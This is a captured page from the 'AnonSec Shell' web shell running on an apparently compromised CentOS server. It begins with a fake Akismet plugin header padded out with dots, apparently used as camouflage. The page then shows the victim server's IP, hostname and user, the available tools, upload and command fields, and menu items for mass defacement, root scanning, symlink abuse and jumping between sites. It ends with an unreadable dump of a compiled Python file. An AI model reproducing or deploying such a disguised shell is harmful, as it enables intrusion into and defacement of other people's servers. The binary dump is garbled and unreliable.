#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsm/pathtree.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlmZddl	m
Z
dZdZde
fd��YZdS(	i(tprint_functiontdivisiontabsolute_importN(tGhettoBitStream(tHuffmanNodesPATH ENDtlistingtPathTreecB`s�eZdZd�Zd�Zd�Zddd�Zed��Z	e
d��Ze
d��Zed��Z
e
d	��Zed
��ZRS(st
    This builds and makes available a tree that represents matchable paths. A
    path must be matched starting from its root and the root of the tree,
    matching one segment at a time.

    There are three trees involved in the process, and that can get confusing.

    1)  Word Tree: This is a Huffman tree made from the word list provided at
        the beginning of the data stream.
    2)  Huffman Path Tree: This is a Huffman tree made of nodes whose values
        will become nodes in the Path Tree. This tree exists so there can be
        a Huffman code associated with each node in the Path Tree. However,
        the Path Tree itself will arrange this data much differently.
    3)  Path Tree: This is the tree used to match paths. Each node is a
        dict where keys are path segments (the middle part of /.../) and each
        value is a list of other nodes.
    cC`s�|j|�\}}tj|�td�|D��}t|�}|j|�}tj|�td�|D��}|j||||�|_dS(s�
        Uncompresses data into a tree that can be traversed for matching paths

        :param data:    binary data as read from a file or pulled directly out
                        of a certificate extension. Data should be compressed
                        with huffman coding as described for v3 entitlement
                        certificates
        :type  data:    binary string
        cs`s!|]}|j|jfVqdS(N(tcodetvalue(t.0tnode((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pys	<genexpr>>scs`s|]}|j|fVqdS(N(R(R	R
((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pys	<genexpr>BsN(t_unpack_dataRt
build_treetdictRt_generate_path_leavest_generate_path_treet	path_tree(tselftdatatword_leavestunused_bitst	word_dictt	bitstreamtpath_leavest	path_dict((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt__init__2s


cC`sC|jd�std��n|j|j|jd�jd��S(s
        Given an absolute path, determines if the path tree contains any
        complete paths that exactly equal the beginning of this path. Thus,
        The tree is traversed from its root, and as long as the provided path
        does not hit its end before hitting the end of a tree path, this will
        return True.

        :param path:    absolute path to match against the tree
        :type  path:    str
        :return:        True iff there is a match, else False
        :rtype:         bool
        t/spath must start with "/"(t
startswitht
ValueErrort_traverse_treeRtstriptsplit(Rtpath((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt
match_pathFs
cC`s&g}|j|�djt|��S(Ns
(tbuild_path_listtjointsorted(Rtpaths((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt__str__Ws
c
C`s�|dkrd}n|dkr-|j}nt|t�rH|g}nxm|D]e}x\tj|�D]K\}}|tkr�|j|�qe|j|d|dd||f�qeWqOWdS(s�
        Expand the Huffman tree into a list of paths.

        :param tree:      A dict representing a node in the greater path tree.
        :type  tree:      dict
        :param acc:       an accumulator that stores the expanded paths. Callers should provide an empty list.
        :type  acc:       list
        :param curr_path: A string representing a path that is added to as nodes are visited.
        :type  curr_path: str
        tttreet	curr_paths%s/%sN(	tNoneRt
isinstanceR
tsixt	iteritemstPATH_ENDtappendR"(RtaccR(R)tbranchtktv((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyR"\s	
cC`s�t|krtS|r�g}|d|kr@|j|d�n|dtkrft|�dkrftSx9t|j��D]%}|jd�ry|j|�qyqyWx@|D]5}x,||D] }|j||d�r�tSq�Wq�Wnt	S(s
        Helper method for match_path that does recursive matching.

        :param tree:    A dict representing a node in the greater path tree.
        :type  tree:    dict
        :param words:   list of words to match, the result of spliting a path
                        by the "/" separator. Words must be sorted with the
                        next word to match being at words[0]
        :param words:   list
        :return:        True iff there is a match, else False
        :rtype:         bool
        iit$(
R.tTrueR/tLISTINGtlentlisttkeysRRtFalse(tclsR(twordstwords_to_trytwordtchild((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyRvs "
c	C`s�tj�}|j|�}|jd�}g|D]}|jd�^q1}tttjd�|��}g|D]\}}t	||�^qq}||j
fS(sD
        :param data:    binary data as read from a file or pulled directly out
                        of a certificate extension. Data should be compressed
                        with huffman coding as described for v3 entitlement
                        certificates
        :type  data:    binary string
        :return:        tuple: (list of HuffmanNode instances not yet in a
                        tree, binary string of leftover bits that were not
                        part of the zlib-compressed word list
        :rtype:         tuple(list, binary string)
        tsutf-8i(tzlibt
decompressobjt
decompressRtdecodeR8tzipt	itertoolstcountRtunused_data(	RRCtdecompressed_dataR<R>tweighted_wordstweightRtnodes((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyR�s
"(cC`sb|j�}|dkr|S|d}gt|�D]}|j�^q3}|j|�}|SdS(s�
        Determine the total number of nodes in the uncompressed tree. The
        algorithm for doing so is described in the v3 entitlement cert
        format documentation.

        :param bitstream:   the full bit stream following the zlib-compressed
                            word list. As defined in the v3 entitlement cert
                            format, the beginning of this stream defines how
                            many total nodes exist. This method retrieves that
                            value.
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            number of nodes
        :rtype:             int
        i�N(tpop_bytetranget
combine_bytes(Rt
first_bytet	num_bytestxtcount_bytest
node_count((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt_get_node_count�s
%cC`sO|j|�}g}x3td|�D]"}t|i�}|j|�q%W|S(s*
        Given the remaining bits after decompressing the word list, this
        generates HuffmanNode objects to represent each node (besides root)
        that will end up in the path tree.

        :param bitstream:   stream of bits remaining after decompressing the
                            word list
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            list of HuffmanNode objects that can be used to
                            build a path tree
        :rtype:             list of HuffmanNode objects
        i(RURNRR/(R;RRTRLRKR
((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyR�scC`s9d}x,|D]$}||7}||kr
||Sq
WdS(sU
        Given a bit stream and dictionary where keys are huffman codes, return
        the value from that dictionary that corresponds to the next huffman
        code in the stream. This is a substitute for actually traversing the
        tree, and this likely performs better in large data sets.

        :param code_dict:   any dictionary where keys are huffman codes
        :type  code_dict:   dict
        :param bitstream:   bit stream with a huffman code as the next value
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            value from the dict
        R'N((t	code_dictRRtbit((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt_get_leaf_from_dict�s


cC`s�g|D]}|j^q}i}|jd|�xe|D]]}xTtr�|j||�}	|	sdPn|j||�}
|j|	g�j|
j�qBWq9Wx!|D]}|s�d|t<q�q�W|S(s�
        Once huffman trees have been generated for the words and for the path
        nodes, this method uses them and the bit stream to create the path tree
        that can be traversed to match potentially authorized paths.

        :param path_dict:   dictionary where keys are huffman codes and values
                            are path nodes.
        :type  path_dict:   dict
        :param path_leaves: leaf nodes from the huffman tree of path nodes. the
                            values will be constructed into a new tree that can
                            be traversed to match actual paths.
        :type  path_leaves: list of HuffmanNode instances
        :param word_dict:   dict where keys are huffman codes and values are
                            words from the zlib-compressed word list.
        :type  word_dict:   dict
        :param bitstream:   bit stream where the rest of the bits describe
                            how to use words as references between nodes in
                            the path tree. This format is described in detail
                            in the v3 entitlement certificate docs.
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        iN(RtinsertR5RXt
setdefaultR/R*R.(R;RRRRtleaftvaluestrootRR>t	path_node((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyRs
	$
N(t__name__t
__module__t__doc__RR!R&R*R"tclassmethodRtstaticmethodRRURRXR(((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyRs			&(t
__future__RRRRFRAR,trhsm.bitstreamRtrhsm.huffmanRR.R6tobjectR(((s3/usr/lib64/python2.7/site-packages/rhsm/pathtree.pyt<module>s

Anon7 - 2022
AnonSec Team